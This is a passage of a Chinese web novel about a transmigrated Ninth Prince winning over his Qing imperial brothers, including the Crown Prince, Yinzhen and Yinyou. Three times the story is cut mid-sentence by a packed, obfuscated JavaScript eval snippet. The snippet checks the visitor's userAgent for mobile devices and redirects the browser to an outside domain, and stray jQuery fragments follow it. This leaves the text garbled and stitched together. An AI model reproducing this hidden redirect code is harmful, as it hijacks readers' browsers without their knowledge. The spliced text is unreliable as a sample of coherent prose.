小太监当然知道,自己这些奴才们掉一万个脑袋,在阿哥们心中也没有份量。但他也没有别的法子。方才太子受的伤可不轻,要是不赶快处理,回头发了烧,身边伺候的太监、谙达都得倒霉。九阿哥看起来天真善良,不管有没有用,也只能试着求助于他了。 却没想到自己歪打正着,求对了人。 小太监看见小团子一般的九阿哥,像个小大人一样叹了口气,然后牵着身边大太监的手,往太子方向走去。他的身前是一片明红色的火光,身后是深宫里的婆娑树影,在明暗交界之中,仿佛他并不属于这里。 小太监一时有些犯怔,而后摇了摇头,赶忙小跑着跟了上去。 胤禟走得近了,才看清楚胤礽伤在右手。 虎口处的鲜血将弓把缠绕的锦带染成了红色。 但他仍毫无知觉般地射着箭,只有少年紧抿的薄唇,才略微透露了他的一点心思。 即便快到宵禁的时间,他身旁的下人们都不敢出声,只低着头拔箭、递箭给他,像一场无声地默剧。 胤礽没有察觉胤禟的到来。 他一箭接着一箭,不知疲倦地练习着。 他是太子,从小汗阿玛就告诉他,他是全天下第二尊贵的人,他想要什么东西,只需要坐在毓秀宫动动嘴,不出七日,天南海北的珍奇异宝就会如雨后春笋一般,在他的桌上纷至沓来地冒出来。 但是,他只不过想在靶场上,偶尔赢过胤褆一两回,证明自己在任何方面,都是汗阿玛最优秀的儿子,怎么就这么难? 他已经十三岁了,不再是天真不懂事的孩子。 他知道明珠在朝里朝外都说了些什么。 什么“长子当立”,什么大皇子“英武类祖”,那些话虽然可笑,但就像一个个种子,种进了有裂痕的土地,保不准哪天就生出了根和芽。 而他,身为太子,从小汗阿玛就对他寄予厚望。 给他安排最好的老师单独讲席,亲自教导他读书、写字、骑射。 其他阿哥们可望不可即的父爱,他从小就牢牢占据着。 但那些既是爱,也是枷锁。 “你若是不想好好当这个太子,那朕也不必这般疼爱你”。他毕竟还太过于年轻,以至于分不清到底汗阿玛爱的是他胤礽,还是一个全天下最优秀聪明的储君。 他似乎从来没有别的选择。 只有处处都比其他皇子更强,才能证明汗阿玛的选择没有错,才能堵住明珠那些人的悠悠众口,也才能长久地获得汗阿玛的爱。 所以,哪怕他的手还在流血,哪怕伤口一阵一阵地发疼,他也不在乎。甚至他隐隐期待这疼痛来得更加猛烈,好让他疼到无法去回想,白日汗阿玛看向他失望的目光。 那道与七年前听到他说读书累的时候,一模一样的失望目光。 他如今早已不是离开阿玛和下人,就无法生活的稚童。但那种被抛弃的恐惧和绝望感觉,至今依然紧紧攫着他的心。 胤礽觉得自己已经练习得够久了。他的手臂开始微微发抖,双腿也站立得有些麻木。但他脑海中总有一个声音不停回响,不能停,不能停,停下了,你的汗阿玛就不会再爱你了…… 靶场上的火光在少年的瞳孔里跳动,那里面复杂的情绪,连胤禟一时都很难分清。 但他知道,不能让胤礽再沉浸在这股情绪中。 胤礽接过谙达递来的箭,正要搭箭,忽然感觉自己腰上多了个挂件。 他低头一看,看见一双乌溜溜的圆眼睛,正盛满了泪水望着他,稚气的小脸上一片焦急之色。 这不是小呆子么。 “九弟?”胤礽顿了顿,问道:“怎么了?” 看见胤礽朝他看来,小团子“哇”地一声哭了出来。 他边哭,边扯着胤礽的袖子,抽抽噎噎地说:“太子哥哥,我回去的路上想起来忘记拿小弓了,便回来取,结果一来一回耽误了太久,马上就要宵禁了。翊坤宫离这里太远,肯定没法及时赶回去,呜呜呜呜。” 小团子哭得伤心,甚至顺手拿起胤礽的袖子擦鼻涕眼泪。 胤礽有些不知所措。 他独自生活在毓庆宫,与其他阿哥们只在骑射训练时偶有交流,并不和哪个弟弟特别亲近,更不曾有弟弟抱着他的大腿,鼻涕一把眼泪一把地往他衣服上蹭。 衣服脏了,自有浣衣局去洗,他倒不在意这个。 他虽与九弟不熟,但还不至于推开一个抱着自己哇哇大哭的小娃娃。只是他从未有哄孩子的经历,看着小团子哭得伤心,一时不知道该如何回应。 胤禟见太子半天没有反应,以为他要拒绝,哭得更大声了。 胤礽见小团子哭得眼睛鼻子红成一片,叹了口气,伸手试着拍了拍小团子的肩膀,道:“不哭了。我叫我的贴身太监张福送你。路上若有人想拦你,看见张福,便不会为难你了。” 唉,果然是小呆子,弓箭忘了就忘了,还能丢了不成,还特地回来寻。 罢了,看他哭得实在伤心,就让张福送送他,这样应该行了吧? 小团子仍在哭,两只小胳膊将他的腰抱得更紧:“我不要别人送我,我要太子哥哥骑大马送我,我就不会被额娘骂晚回去了,好不好嘛,呜呜呜呜。” 胤礽有些为难。 他身为太子,确实被汗阿玛准许在皇城内骑马。但骑马载人,还是头一回。 更何况,他与九弟,似乎还没有熟到骑马带他。 打出生起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405629|184446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他不是被汗阿玛养在身边,就是独自居住于毓庆宫,自小养成了独来独往的性子,也没生过和哪个弟弟亲近的念头。也就是老四,从前也被汗阿玛在身边带过一段时日,因此能多说上几句话。 但今天,小呆子抱着他的大腿唤他哥哥,竟然意料之外地感觉不错。 眼下小家伙实在哭得厉害,小身子一耸一耸地,眼泪将两人的衣袍浸湿了大片,看着怪可怜的。 要不,就送一送?谁让小呆子找上自己了呢。 胤礽又叹了口气。 他将手里的弓递给旁边的谙达,自有灵光的太监拿了缠带来,麻利地帮他把右手虎口清洁、包扎好。之前去请胤禟的小太监见状,连忙牵来了胤礽的骝色骏马候在一旁。 胤礽蹲下身子,一把抱起小团子,就这样抱着他翻身上马。 “坐好了。”他低低说了句,扬鞭载着胤禟而去。身后众人望着远去的滚滚尘土,无一例外都松了口气。 感恩九阿哥大恩大德,今天这脑袋,算是保住了。 胤礽一手拉着缰绳,一手抱着胤禟。 他还是头一回骑马载人,只觉得小呆子乖顺地靠着自己,肉乎乎地小手小心地抓着自己的手臂,像小动物一样,呆呆的,但又挺可爱。 不知道为什么,明明方才他的心还好似被用力捏成一团的画纸,此时已经全然舒展开,画上的青山绿水草长莺飞,也都一一重新鲜活起来。 胤礽第一次觉得,这宫里长得像是走不到尽头的步道,竟然没有往日那般无聊。 虽然被准许宫内骑马,但也并不是所有地方都能去的。 胤礽在启祥门前勒马,过了这扇门,后面就是西六宫,他不能进去。 胤礽跳下马,伸手将胤禟从马上抱下来。他身量已和成人无异,力气也不小,做这些不在话下。 “九弟,我只能送你到这了。从这门进去,你自己走,认识路吗?”胤礽问。 胤禟乖巧地点点头。 胤礽想了想,看着这小团子小小一点,做事情又呆呆地,还是不放心,唤了路边面善的宫人,问了是哪宫的,姓甚名谁,便着她将胤禟送回翊坤宫去。 “九弟,你回去吧。”胤礽弯腰拍了拍胤禟的肩膀,道:“现在还未宵禁,宜妃娘娘该不会说你。” 宜妃听说是全宫里头最宠孩子的,小呆子回去,应该不至于被骂吧。 “嗯!谢谢太子哥哥!”小团子开心地笑了起来,小脸蛋上还挂着泪痕。胤礽看见,忍不住伸手帮他擦了擦脸。 胤禟愣了愣。 胤礽送他回来,就算是自己胡搅蛮缠耍赖的成果,但是擦眼泪这件事,可不是胤禟主动要求的。 换作是他五哥,没准压根没注意到他脸上还挂着泪痕这件事。四哥那执拗性子,也未必会有这么细腻的心思。 没想到胤礽看起来冷冷的,一副目下无尘的模样,其实居然是个外冷内热、温柔细腻的性子? 胤礽看见小团子小身子僵了僵,以为九弟觉得自己擦眼泪的行为过于亲密,不太习惯,便讪讪收回了手,慌慌忙忙直起身子。 他自幼以来,身边环绕、接触的全是成年人,并不懂得如何与同龄兄弟相处,也不知道该如何关心弟弟,只是按照汉文书本里教的一点点兄弟相处的礼仪和道理,来小心地处理这些关系。 所幸他的太子身份和冷淡面容,让他天然便与兄弟们有距离感,也很好地遮掩了他在这方面的笨拙。 方才,他确实是顺从本能,帮小呆子擦了擦眼泪。但小呆子毕竟和他不熟,这行为是不是越界了,小呆子会不会觉得自己这个哥哥,不懂分寸? 胤礽心里正懊恼,忽然看见小团子笑嘻嘻地朝他招手,示意他弯下腰来。 15. 第 15 章 胤礽不明所以,但还是蹲了下来。 一个小小软软弹弹的身体扑进了他的怀抱。 小团子两只小胳膊搂着自己的脖子,小手软软的,身上还有淡淡的奶香,然后,右边脸颊一湿,竟是小团子在他脸上大大地亲了一口。 这次,换做胤礽身体变僵了。 长这么大,除了汗阿玛,还没有人亲过他。 原来,被弟弟亲,是这样的感觉吗?胤礽觉得有些恍惚。他察觉到,心里那个一直漂浮在冰海里的小孩,他头顶从来乌沉沉的天空上,那些密布的阴云似乎悄悄裂开了一丝缝隙,有些许的阳光从缝里投射下来,让那个世界明亮了一点点。 “啵、啵”小团子搂着他的脖子,又亲了亲他的左脸颊和额头,甜甜地说:“谢谢太子哥哥送我回来,我喜欢太子哥哥,太子哥哥以后有空来找我玩呀!” 每一句,都让胤礽的心更甜了一点。 胤礽也不知道自己怎么就稀里糊涂地答应了,脸上还不自觉挂上了笑容,语气更是用上了十三岁大男孩儿最大程度的温柔:“好。” 答应完,才惊觉自己与以往的自矜比起来,简直是大大的失态。待胤禟一放开他,又慌慌张张地起身。 他深呼吸几口,待心情恢复平静后,才转身对方才被他唤来、一直候在一侧的那个宫人道:“我在此等着。你将九阿哥送回去后,回来这里说一声。” 见宫人唯唯诺诺地应了,胤礽方才对胤禟点点头:“九弟,去罢。” 胤禟一蹦一跳地跟着宫人走了,胤礽两手抱在胸前,看着雀跃的小身影,唇边也浮起了一抹淡淡的微笑。 “太子哥哥,一定要来找我玩呀!”小团子蹦蹦跳跳走了几步,又回身朝他挥了挥手。 胤礽也学着他,扬起手挥了挥作为回应。 这回不知道又看见了什么,小团子眼睛忽然睁得圆圆地,又朝他跑了过来。 胤礽有些奇怪,正想开口问他,就见小团子捧起他的右手,朝包扎处轻轻吹了吹,扬起小脸一脸严肃地叮嘱他:“太子哥哥,受伤了回去要好好上药,知道吗?” 胤礽看着还没自己大腿高的九弟,摆出一副小大人姿态,严肃中透着呆萌,不禁好笑地点了点头。 胤禟得到了他的承诺,这才开开心心地笑了,又从袖子里掏出一个绣着蝉图案的浅绿色小荷包递给他:“太子哥哥,这是我自己做的糖,上药如果疼的话,就含一颗在嘴巴里,就不会那么痛了!希望你快快好起来!” 说完,蹦蹦跳跳地跑走了。 胤礽攥紧了那个小小的荷包,看着他小小的背影远去,只觉得心中软乎乎地。 他虽然贵为太子,但打心眼里明白,从小到大,真正这样关心他的人寥寥可数。那些围上来对他嘘寒问暖的,不过是看中他太子的身份地位,想要巴结他,又或者是怕照顾不周,汗阿玛怪罪下来,纯纯为了自己身家性命。 而那个小呆子,居然朝他的伤口吹了吹气,还送了他一袋糖。 印象中,似乎只有他很小的时候,有一次跑得急了,摔在地上擦破了手掌,汗阿玛这样哄过他。可是汗阿玛觉得吃糖坏牙齿,毓庆宫内已经很久没有过糖了。 这个小呆子,真的以为吃了糖,伤口就不疼了吗?恐怕是额娘哄他的话,又被他拿来哄了自己。 胤礽这样想着,唇角浮上了淡淡地、连他自己也未曾察觉的微笑。 他到底还是不放心胤禟,站在原地等着宫人回转。不一会儿那宫人便回来复命,两人进了启祥门没多久,便碰见了翊坤宫的宫女莲珠。原是宜妃娘娘见天色太晚,忧心儿子,便命宫人在几个入口处守着。 胤礽这才上马回宫。 张福早就率着十几位太监候在不远处。见胤礽回来,忙迎了上来。 胤礽见他们来了,笑了笑,道:“回宫。” 张福心里嘀咕,今日太阳是打西边出来了么,太子殿下居然破天荒地朝他们笑了? 毓庆宫的宫人觉得,今日太子格外地好脾气。平日里怕疼得紧,上药得费好大一番功夫,今日不仅乖乖让上了药,包扎了伤口,还早早就睡下了。 只不过没人能发现,胤礽垂下帘幔后,悄悄从怀里掏出一个小小的浅绿色荷包,从里面小心地倒了一小块浅黄色的糖在手心。 胤礽睫毛垂下,盯着手里的糖发呆。 按规矩,从小到大,他的所有吃食都该先验了毒。他看了一眼帘幔外影影绰绰的下人身影,攥紧了手里的荷包。 眼前浮现出小呆子明媚的笑容。是啊,小呆子能有什么坏心眼?这糖若是交出去,怕是就没有了。胤礽想着,将糖含在了嘴里。 甜丝丝的味道很快包裹住了口腔,里面还有浓郁的桂花香味。 胤礽觉得,自己的伤口,似乎真的没有那么疼了。 - 暖阁里。 康熙已经处理完了一日的政事,正坐在榻上,耐心听着太子今日的情况。 他面前跪着的,是毓庆宫首领太监刘芳仁。 按理说,首领太监也不过就是六、七品,远远不够格面圣。但毓庆宫地位特殊,康熙对太子爱宠非常,每日都要了解太子今日情况,大到读书骑射练习多久,小到什么菜爱吃多吃了几口,事无巨细。 听到刘芳仁说到,胤礽射箭时右手虎口不慎划伤,眉头便皱了起来:“你们是怎么伺候的?” 刘芳仁立即磕头谢罪,冷汗满头。 康熙见他战战兢兢的模样,一挥袖子:“罢了,后来如何,可及时包扎了?” “是,在靶场上就包扎好了,回来又重新上了药。”刘芳仁忙道。 “这两日太子便不必练习骑射了,等伤口好了再说吧。” 刘芳仁领了口谕,心里舒了口气,暗想今日应当算过关了?亏得如意那小子去请了九阿哥来,不然太子殿下恐怕没那么容易就答应包扎。 “太子回宫后,还有什么事吗?”康熙捧起茶盏,用茶盖边撇了茶沫子,抿了口茶道:“若是无事,便回去罢。” 刘芳仁不敢隐瞒:“今日太子殿下送了九阿哥回去。” 康熙喝茶的手一顿。 小九? 刘芳仁看出皇帝的疑惑,解释道:“九阿哥忘记拿弓箭,回来的时候已经晚了,便请太子殿下帮忙送他回去。” “哦,”康熙点点头:“知道了。” 刘芳仁见皇帝不再问话,也不再看他,便知趣地离开了。 康熙若有所思地喝着茶,琢磨着刘芳仁那句话。 胤礽素来与其他兄弟走得不近,这既是他自身性格导致,也是康熙有意营造引导。毕竟身为太子,与其他兄弟太过亲密,往后继任大统便难以服众,而且,若是交结过密,难免有朋党之嫌,这是他身为帝王最不能容忍的。 这件事,若是胤禛、胤祺甚至胤祐、胤禩去做,康熙都难免多想几分,哪怕他们现在还只是十岁不到的孩童。 但是小九……康熙眼前浮现出小团子天真无邪的笑容。 三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405630|184446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岁的孩子,懂什么。这孩子天生不拘着不见外的性格,大抵是觉得反正自家哥哥,也不是什么外人,请他送一程罢了。放在寻常人家,连件事儿都不算。 - 胤禟的蚂蚁观察箱没等来胤禛,倒是先把胤祺馋来了。 上回宜妃给太皇太后和太后送的姜汁撞奶,颇得两人喜欢。听说这小吃食是九阿哥发明的,太后又念在九阿哥与胤祺的关系,便作主让宜妃请安的时候,多带胤禟过来。 胤禟起先觉得能见到胤祺还挺高兴,结果一去慈宁宫,发现胤祺还在呼呼大睡,心里忿忿自己起了个大早的胤禟,又是掐脸又是挠鼻子地,好容易把胤祺闹醒了。 如此两回,胤祺也受不住,干脆和太后耍了个赖,让宜妃带胤禟来的时候,挑个晚些的时辰,免得还得让九阿哥等自己。 五阿哥那的人都是太后的,太后自然知道是九阿哥贪睡,不过是胤祺宽厚,没有出卖弟弟,找了个自己的原因罢了。 但这在太后看来也不是什么大事,小孩子么,本来就要长身体,自己养的胤祺日日睡到三竿,断没有要求别家孩子一定得早起的道理。 更何况,九阿哥生得漂亮可爱,说话也讨人欢喜,便允得爽快。 如此一来,胤禟来慈宁宫更勤了。造办处那边蚂蚁观察箱做好了,没几日,胤禟便跟着宜妃去了慈宁宫,在胤祺面前好一通卖弄。 胤祺当日便赖着要来。 “就是这个?”胤祺打量着眼前这个透明的玻璃箱子,“嘿”了一声:“蚂蚁还真的挖地道了!” 经过一两周的功夫,蚂蚁的地下巢穴已经初具规模,里面小道向四面八方蔓延,密密麻麻的蚂蚁在里面来回奔走忙碌。 “咦,为什么这只蚂蚁比其他蚂蚁要大好多呀?它边上好多白白的是什么?”胤祺也是个好奇宝宝,仔细看了一会儿,便提出了两个关键问题。 “那只大蚂蚁是蚁后,所有的蚂蚁都是她生的,”胤禟指了指蚁后身边堆着的一堆白色的颗粒:“这个就是蚂蚁卵,应该是刚生下来,还没来得及运送到专门孵化蚂蚁卵的孵化室。” “好神奇呀。”胤祺整张脸都凑了上去,很快有了新发现:“快看快看,这个洞里好多白色的蚂蚁卵,是你说的那个孵化室吗?” 胤禟点点头:“没错。” 胤祺赞许地看着自家弟弟:“九弟真棒,才三岁就知道这么多东西!” 胤禟心道糟糕,看蚂蚁上头,忘记自己的身份了。他打了个哈哈:“我自己胡乱猜的啦。” 胤祺倒也没有深想,注意力又投注到了观察箱上,看了老半天,又噼里啪啦抛出一堆问题:“孵化室里怎么也有这么多蚂蚁?孵蚂蚁卵,也和母鸡孵蛋一样吗?你看,他们怎么还在翻动蚂蚁卵?这不会很危险吗?” 胤禟偷偷一乐,没想到自己这五哥,还是个小十万个为什么。不过这也说明了胤祺思维活跃,观察力仔细,是个聪明孩子。 虽然胤祺因为到现代还不懂汉文,时不时被康熙碎碎念,但胤禟觉得,这并不代表胤祺以后学问不好。 只是胤祺的这些问题,他不好再回答了。不然胤祺就算心再大,也该察觉他的异常。 胤禟抓抓头,无辜地看着胤祺:“五哥,我也不知道了。” 忽然听见有人在他俩身后道:“蚂蚁卵会自己孵化,不用和母鸡一样坐在上面孵卵。这些蚂蚁是照看蚂蚁卵的,让他们可以更好地孵化。” 声音带着少年人特有的鼻音,不是胤禛是谁? 16. 第 16 章 “四哥,你终于来啦!”胤禟转身,果然看见胤禛朝自己微笑。 胤祺心里“啧”了一声。 四哥这个万年面瘫脸,也就见了老八和小九会笑。 哪里比得上自己这个阳光和善的亲大哥。 接着,胤祺就看见自己可爱的亲弟弟,毫不犹豫地越过自己,开心地朝胤禛张开两个小胳膊:“四哥抱抱。” 胤祺:…… 胤禛熟练地抱起了小粉团子,感觉比前些日子略重了些。看来小孩儿还是得多锻炼,自打练习射箭,想必九弟连饭都要多吃半碗。 胤禟的小手自然地搂上了他的小脖子:“四哥,你真厉害,知道这么多!” 这话胤禟是真心佩服地说的。这个时代,连法布尔的《昆虫记》都还没有诞生,年仅八岁的胤禛,居然凭借自己的观察,得出了十分接近的答案,不愧是未来的雍正皇帝。 胤禛小脸微微红了红:“也没有,就是看得多了发现的。” 他接到胤禟送来的条子后,便一直想找机会来看看九弟葫芦里卖的是什么药。只是一来皇宫规矩森严,他来找胤禟玩,先是得佟佳氏额娘同意,再给宜妃娘娘递帖子,一来二去便耽误了些时日;二来课业繁重,好不容易连着赶了几日,终于提前完成了今日的功课,一放课便急急赶过来了。 一进院子,便看见胤祺和胤禟两个小脑袋并排挨着,前面是一个玻璃的透明箱子。 胤禛打小爱看蚂蚁,为此汗阿玛还说过他。但蚂蚁么,哪里都有,观察起来隐蔽又方便,也就这点爱好保留了下来。 胤禛看着玻璃箱里,蚂蚁挖掘出来蜿蜒曲折的地下隧道,心道,以前从地面往泥土里看,只能看见一个个小洞,原来里面竟然别有洞天。他看得仔细,根本挪不开视线。 然后他便听见胤祺问胤禟,蚂蚁是怎么孵化的。 遇见了自己擅长的专业问题,胤禛话匣子可就收不住了,向来不大接话的他,主动回答了胤祺的疑惑。 “九弟,这就是你跟我说的惊喜?”胤禛抱了一会儿胤禟,觉得有些吃力,但还是两只手扣在一起,勉力抱住他。 胤禟得意地歪了歪小脑袋:“四哥喜欢吗?” 胤禛点点头道:“喜欢。” 胤禟笑嘻嘻道:“那四哥常来玩啊。” 看见小团子和胤禛亲密的样子,胤祺忍不住暗暗吃醋,这个小家伙,怎么回回都要老四抱抱,就不找自己这个亲哥抱? 胤祺越想,越觉得自己吃了亏,瞅准胤禟从胤禛身上爬下来的空档,也一把抱起了小团子。 “哎呀,五哥!”小团子被他吓了一跳:“你干嘛?” 胤祺心道,怪不得四哥喜欢抱九弟,原来小娃娃抱在怀里,软乎乎香喷喷的,像抱了个超大的糯米团子。 他不打算就这么放胤禟下来,但男孩子的自尊,又让他不好意思明说想要抱抱弟弟,只得梗着喉咙道:“四哥功课可多了,哪里有空天天来玩。” 胤禟瘪了瘪嘴。 这表情落在了胤禛眼里。 “还行,功课算不上难,多赶两日便有时间了。”胤禛不软不硬地顶了回去。 小团子眼睛发亮,小鸡啄米一般地点头:“就是就是,四哥读书就是厉害!” 胤禛对小团子咧嘴做出一个夸张的笑容。 笑得很好,就是人机感重了点。 胤祺抢弟不成,反倒被胤禛抢了风头,一时有些噎声。 这个四哥,今天怎么一反软吞吞的作风,口齿这么伶俐了? 他想了半天,终于憋出来一句:“四哥要来,都得贵妃娘娘应允,哪里是九弟你想要他来就能来得了的。” 这点胤禟之前倒是没想过。 胤禛也不说话了。 他们知道胤祺说的是事实。在这紫禁城里,哪怕是皇子公主,也不能随心所欲地自由行动。 胤禟还小,加之宜妃将他保护得太好了,以至于他差点儿忘记了这件事。 - 宜妃怀疑自家儿子最近是不是吃坏肚子了。 以往吃饭胤禟能干掉满满一小碗,更别提什么三鲜丸子、口蘑炖鸡这些爱吃的菜,风卷残云就下了肚。 但这两日,不仅吃饭总要剩下大半,就连菜也是心不在焉吃上两三口,便草草回屋,抱着那个装蚂蚁的玻璃箱子发呆。 胤禟发现了一个大问题。 那日胤祺的话提醒了他。紫禁城给所有住在这座宫殿的人,都牢牢上了两道囚笼。第一道是朱红的望不到尽头的高墙,第二道是里面无数的明的暗的事无巨细的规矩。 嫔妃不能自由行动,搬到阿哥所的皇子们不能经常看望额娘,住在宫里的皇子们之间不能经常串门来往……正常情况下,他能够日常接触其他阿哥们的时间寥寥无几。 那他还怎么给大家洗脑,不,灌输科学教育观念,一起快乐咸鱼? 这段时间,他已经深刻认识到,恐怕光凭自己一个人咸鱼,对改变未来命运无济于事。 康熙作为教育滑铁卢集大成者,在他始终如一的高压教育下,内卷已经深深刻进了除了五哥以外每一位阿哥心中。 五哥有太后罩着自然不怕,可他胤禟不过是一条咸鱼,在康熙内卷教育的结构性压迫下,几乎很难做到独善其身。 只有把大家都拉下水,改变这种内卷的局面,才有可能开心自在地当一条咸鱼。 胤禟把自己关在屋里,苦思冥想了很多天。 - 天气实在太好,好到胤禟都觉得得趁机晒晒身上的霉味。 这几天他缩在屋子里,大门不出二门不迈的,依然想不出解决头绪。晒太阳有助于体内分泌多巴胺,多巴胺又有利于活跃思维,胤禟便将蚂蚁观察箱搬到了户外,继续发呆。 忽然一阵白色小旋风卷了进来:“九哥九哥!我也能去学射箭啦!” 胤俄今日穿了一件深蓝色的小袍子,脚蹬一双小牛皮靴,背上背着一把和胤禟一模一样的小弓,神气十分地站在胤禟面前。 他俩年纪相仿,出生日期只隔了一个半月,又是前后邻居,向来玩的最好。 胤俄早就眼馋九哥能学射箭,钮钴禄氏见儿子这么期待,便早早选定了谙达、准备了装备,只一待过了生辰,便正式开始学习。 昨日胤俄的生辰才正式过了,今日就迫不及待要去射殿。 胤俄挺着小胸脯,骄傲地像一只小白鹅。 没有什么比学习射箭更令人高兴了。 如果有,那就是和九哥一起学习射箭! 胤禟也高兴起来。毕竟,往后除了五哥,他亲密的盟友又多了一位。 “哇,九哥,这些蚂蚁的地道变多了!”胤俄注意到胤禟桌上的蚂蚁观察箱,小眼睛瞪得圆溜溜地:“太神奇了!” 接着,又遗憾地摇摇头:“今天怕是看不了了。我们走吧。” 胤禟忽然眼前一亮。 一刻钟后,宜妃看见宝贝儿子,背着小弓雄赳赳气昂昂地站在门口,旁边是同样雄赳赳气昂昂的十阿哥,两人身后跟着宝福、永寿宫的大太监和十阿哥的贴身小太监,小太监手里还捧着一个东西,上面用褐色的布盖着。 “额娘,我去上射箭课啦!”小团子回身,朝宜妃挥挥小手。 “宜妃娘娘,我也去上射箭课啦!”小胖团子也挥挥小胖手。 然后,两个宫的大太监很有默契地齐齐蹲下身子,抱起自家小主子,朝外走去。 宜妃笑吟吟地朝两小只挥了挥手,目送两人出门后,目光有些疑惑地落在最后跟着的小太监手上的东西。 这是又有了什么新的装备? 和宜妃有同样的疑问的还有胤禩和胤祐。 胤祐每隔两日便要康健一次腿疾,因此虽然比胤禩大一岁,但两人的学习进度是差不多的,甚至因为腿疾的原因,胤祐至今还没有学习骑马。 他也知道自己的身体。从小到大,因为腿疾的原因,没少遭到宫人的议论。说不自卑,那是不可能的。他只能渐渐习惯和接受这些不公平的对待。 但又能怎么办呢?他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16420555|184446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的额娘连嫔都不是,也亏得在惠妃额娘一处抚养,才免遭了更多的白眼。 往好处想,他至少能学习射箭。学得慢,那就花费更多的时间来弥补身体的缺陷,不是有句话叫作勤能补拙? 今日他也是最早到练习场的。 他练习了一会儿射箭,腿便有些支持不住,只得坐在一旁休息。 就在这时,他看见一个小粉团子和一个小胖团子,手牵手蹦蹦跳跳跑进了练习场,身后远远缀着几个太监。 大概是年纪太小,身体平衡能力不佳的原因,小胖团子脚下被一块石头一绊,摔了下去,带着小粉团子也摔了一跤。 小胖团子当即哇哇大哭起来。 小粉团子也不知道是不是摔懵了,也不哭也不闹,坐在地上茫然四顾,仿佛在寻找什么。 他俩跑得快,身后跟着的太监还没赶上,整个练习场里,眼下就只有胤祐在。 小粉团子似乎发现了自己,开始嘤嘤嘤地哭。 胤禟:是七哥吗!七哥快过来吖! 已经略微懂事到识破小粉团子正在耍赖的胤祐:…… 胤祐叹了口气,双手撑着椅子站了起来,朝两个哭得此起彼伏地小团子走去。今日听说十阿哥头一回来,一直未曾遇见的九阿哥也会来,看来这俩小团子就是九弟和十弟了。 走路的时候,胤祐勉力维持着身体的平衡,尽量不让自己的跛脚那么明显。 在心底,他还是想在两个弟弟面前维持做哥哥的体面。 胤祐慢慢走到两个小阿哥面前蹲下。 胤俄看见有生面孔,不禁止住了哭声。只是即便胤祐努力遮掩,身体还是有些轻微地一瘸一拐,即便三岁的胤俄也看得出来。 “你的腿……”胤俄忘记了摔跤的疼痛,好奇地开口。 他毕竟才三岁,还不懂得言语上的忌讳。 胤祐的脸色“唰”地变得苍白。 他垂下眼睑,习惯性地遮掩住目光。那里面,此刻一定充满着惊慌和无措。这具身体已经够可笑了,他不想被别人看见自己神情也如此狼狈。 真是太糟糕了。九弟、十弟第一次见自己,就发现他们的七哥是个残疾之人了。 他们一定觉得自己这个哥哥很没用吧,胤祐悲哀地想。 他正努力把自己从泥淖一般的低沉心情中拔出来,只听见一道声音脆生生地叫他。 “哥哥?” 一双小手伸到了他的眼前:“哥哥,疼。吹吹。” 看来方才确实摔得狠了,两只小手手掌红红的,还有些微石子的擦伤痕迹。 胤祐从怀里取出帕子,轻轻将胤禟手掌上的尘土拍去,然后真的低头吹了吹。 做完这些,他有些不好意思。这还是他第一回安慰人,也不知道有没有用。 “好些了吗?”他期待地看着小粉团子。 红红的眼睛,红红的鼻子,像刚出生的小猫崽子。 小粉团子泪眼汪汪地盯着他,将两只小手举得更高了:“哥哥还没说,痛痛飞飞。” 啊?胤祐觉得自己脸有些发红。 这不是额娘们哄孩子的话吗?六岁的小男孩儿已经半大,这话着实有些说不出口。 小粉团子委屈巴巴:“哥哥。” 好吧。胤祐叹了口气,捧住一双小手又吹了吹:“痛痛飞飞。” 小粉团子终于破涕为笑:“痛痛飞走了,谢谢哥哥!” 转眼间,跟着两位小阿哥的太监们终于气喘吁吁地跑了上来。 “小主子,没事吧?”太监们七手八脚扶起了胤禟和胤俄。 胤祐看着眼前的热闹,安静地起身,将帕子叠好塞回怀里,准备转身走开。 从小他就知道,自己永远只能成为配角。而一个合格的配角,就该在主角出现的时候,自动回到阴影里,不碍了其他人的眼。 虽然九弟确实很可爱,他也想和他多说说话,但他该走了。 胤祐低垂了眼睑。他的睫毛很长,此时安静地覆着,很好地遮掩了眼底的落寞。 17. 第 17 章 他正要转身,忽然一只小手牵住了他的衣摆。 “谢谢哥哥,”小粉团子朝他甜甜一笑,小手攥着他的衣摆,一边转头对跟着他的大太监说:“刚才是这位哥哥帮我吹了气,就不痛了。” 胤禟一见胤祐便知,这位有腿疾的皇子定是七阿哥。他来练习场一个多月,这还是头一回与他碰上。 他前世对胤祐了解不多,腿疾让他早早失去了夺嫡的资格,只记得最后是善终了的。 今日一见,胤祐沉默瑟缩的模样,让他想起了班上那些“看不见”的学生。 